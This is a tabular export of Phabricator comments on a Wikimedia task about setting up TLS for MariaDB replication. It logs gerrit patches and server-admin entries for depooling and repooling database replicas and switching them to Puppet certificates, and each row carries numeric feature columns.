+[[https://gerrit.wikimedia.org/r/283748]]",,,1460754154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646743,Set up TLS for MariaDB replication,"Change 283748 had a related patch set uploaded (by Volans):
+Repool with low weight new s3 DB after TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283748]]
+",,,1460753324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+646495,Set up TLS for MariaDB replication,"Change 283648 merged by Volans:
+MariaDB: use Puppet cert for s3 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/283648]]",,,1460725408,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646472,Set up TLS for MariaDB replication,"Change 283648 had a related patch set uploaded (by Volans):
+MariaDB: use Puppet cert for s3 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/283648]]
+",,,1460723317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+646466,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZ2EhPgCrwkbTdl_iQ} [2016-04-15T12:14:45Z] <volans> Re-arrange s3 replica topology: making codfw replicate from db1075 (this time for real) - T111654",,,1460722485,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+646419,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZi5baD0x0K5Df_TUf} [2016-04-15T10:50:59Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool new db1075,1077,1078 to upgrade TLS on s3 - T111654 (duration: 00m 41s)",,,1460717459,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646418,Set up TLS for MariaDB replication,"Change 283620 merged by jenkins-bot:
+Depool new s3 slaves for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283620]]",,,1460717326,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646408,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZfx3gD0x0K5Df_TUS} [2016-04-15T10:37:21Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool db1042 after TLS upgrade on s4 - T111654 (duration: 00m 30s)",,,1460716705,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646405,Set up TLS for MariaDB replication,"Change 283610 merged by jenkins-bot:
+Repool db1042 after TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283610]]",,,1460716492,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646379,Set up TLS for MariaDB replication,"Change 283620 had a related patch set uploaded (by Volans):
+Depool new s3 slaves for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283620]]
+",,,1460712472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+646373,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZO66OD0x0K5Df_TSn} [2016-04-15T09:23:42Z] <volans> Re-arrange s3 replica topology: making codfw replicate from db1075 - T111654",,,1460712222,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+646355,Set up TLS for MariaDB replication,"Change 283610 had a related patch set uploaded (by Volans):
+Repool db1042 after TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283610]]
+",,,1460709303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+646350,Set up TLS for MariaDB replication,"Change 283602 merged by Volans:
+MariaDB: use Puppet cert for s4 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/283602]]",,,1460708321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646347,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQY-CyEgCrwkbTdl_dZ} [2016-04-15T08:09:58Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1042 to upgrade TLS on s4 - T111654 (duration: 00m 36s)",,,1460707798,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646345,Set up TLS for MariaDB replication,"Change 283601 merged by jenkins-bot:
+Depool db1042 for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283601]]",,,1460707660,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646344,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQY9ECdD0x0K5Df_TRW} [2016-04-15T08:05:41Z] <volans> starting TLS upgrade for shard s4 T111654",,,1460707541,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+646334,Set up TLS for MariaDB replication,"Change 283602 had a related patch set uploaded (by Volans):
+MariaDB: use Puppet cert for s4 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/283602]]
+",,,1460706610,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+646328,Set up TLS for MariaDB replication,"Change 283601 had a related patch set uploaded (by Volans):
+Depool db1042 for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283601]]
+",,,1460706432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645181,Set up TLS for MariaDB replication,"Change 283209 merged by jenkins-bot:
+Repool db1057 after TLS upgrade on s1
+
+[[https://gerrit.wikimedia.org/r/283209]]",,,1460565065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645144,Set up TLS for MariaDB replication,"Change 283209 had a related patch set uploaded (by Volans):
+Repool db1057 after TLS upgrade on s1
+
+[[https://gerrit.wikimedia.org/r/283209]]
+",,,1460562308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645117,Set up TLS for MariaDB replication,"Change 283192 merged by Volans:
+MariaDB: use Puppet cert for s1 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/283192]]",,,1460561296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645088,Set up TLS for MariaDB replication,"Change 283193 merged by jenkins-bot:
+Depool db1057 for TLS upgrade for s1
+
+[[https://gerrit.wikimedia.org/r/283193]]",,,1460559129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645078,Set up TLS for MariaDB replication,"Change 283193 had a related patch set uploaded (by Volans):
+Depool db1057 for TLS upgrade for s1
+
+[[https://gerrit.wikimedia.org/r/283193]]
+",,,1460558567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645076,Set up TLS for MariaDB replication,"Change 283192 had a related patch set uploaded (by Volans):
+MariaDB: use Puppet cert for s1 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/283192]]
+",,,1460558560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645023,Set up TLS for MariaDB replication,"Change 283178 merged by Volans:
+MariaDB: Update submodule reference
+
+[[https://gerrit.wikimedia.org/r/283178]]",,,1460555102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645020,Set up TLS for MariaDB replication,"Change 283178 had a related patch set uploaded (by Volans):
+MariaDB: Update submodule reference
+
+[[https://gerrit.wikimedia.org/r/283178]]
+",,,1460554965,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645019,Set up TLS for MariaDB replication,"Change 283176 merged by Volans:
+Remove require on resource not managed by Puppet
+
+[[https://gerrit.wikimedia.org/r/283176]]",,,1460554815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645017,Set up TLS for MariaDB replication,"Change 283176 had a related patch set uploaded (by Volans):
+Remove require on resource not managed by Puppet
+
+[[https://gerrit.wikimedia.org/r/283176]]
+",,,1460554773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645012,Set up TLS for MariaDB replication,"Change 283170 merged by Volans:
+MariaDB: Use Puppet certs for s2
+
+[[https://gerrit.wikimedia.org/r/283170]]",,,1460554213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+644998,Set up TLS for MariaDB replication,"Change 283170 had a related patch set uploaded (by Volans):
+MariaDB: Use Puppet certs for s2
+
+[[https://gerrit.wikimedia.org/r/283170]]
+",,,1460552868,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644950,Set up TLS for MariaDB replication,"Change 283153 merged by jenkins-bot:
+Reduce db1050 weight
+
+[[https://gerrit.wikimedia.org/r/283153]]",,,1460547812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+644949,Set up TLS for MariaDB replication,"Change 283153 had a related patch set uploaded (by Volans):
+Reduce db1050 weight
+
+[[https://gerrit.wikimedia.org/r/283153]]
+",,,1460547738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644931,Set up TLS for MariaDB replication,"Change 283139 merged by jenkins-bot:
+Repool db1050 and db1041 for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283139]]",,,1460544768,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+644892,Set up TLS for MariaDB replication,"Change 283134 merged by Volans:
+MariaDB: use Puppet certs for TLS
+
+[[https://gerrit.wikimedia.org/r/283134]]",,,1460540849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+644888,Set up TLS for MariaDB replication,"Change 283142 merged by Volans:
+MW: remove mw1080, has RO filesystem
+
+[[https://gerrit.wikimedia.org/r/283142]]",,,1460540395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+644884,Set up TLS for MariaDB replication,"Change 283142 had a related patch set uploaded (by Volans):
+MW: remove mw1080, has RO filesystem
+
+[[https://gerrit.wikimedia.org/r/283142]]
+",,,1460540214,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644881,Set up TLS for MariaDB replication,"Change 283139 had a related patch set uploaded (by Volans):
+Repool db1050 and db1041 for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283139]]
+",,,1460539542,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644879,Set up TLS for MariaDB replication,"Change 283135 merged by jenkins-bot:
+Depool db1050 and db1041 for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283135]]",,,1460539386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+644878,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQO7WKND0x0K5Df_Sq2} [2016-04-13T09:21:58Z] <volans> start upgrading TLS for cross-dc replica on shards s6 and s7 - T111654",,,1460539319,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+644865,Set up TLS for MariaDB replication,"Change 283135 had a related patch set uploaded (by Volans):
+Depool db1050 and db1041 for TLS upgrade
+
+[[https://gerrit.wikimedia.org/r/283135]]
+",,,1460537868,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644863,Set up TLS for MariaDB replication,"Change 283134 had a related patch set uploaded (by Volans):
+MariaDB: use Puppet certs for TLS
+
+[[https://gerrit.wikimedia.org/r/283134]]
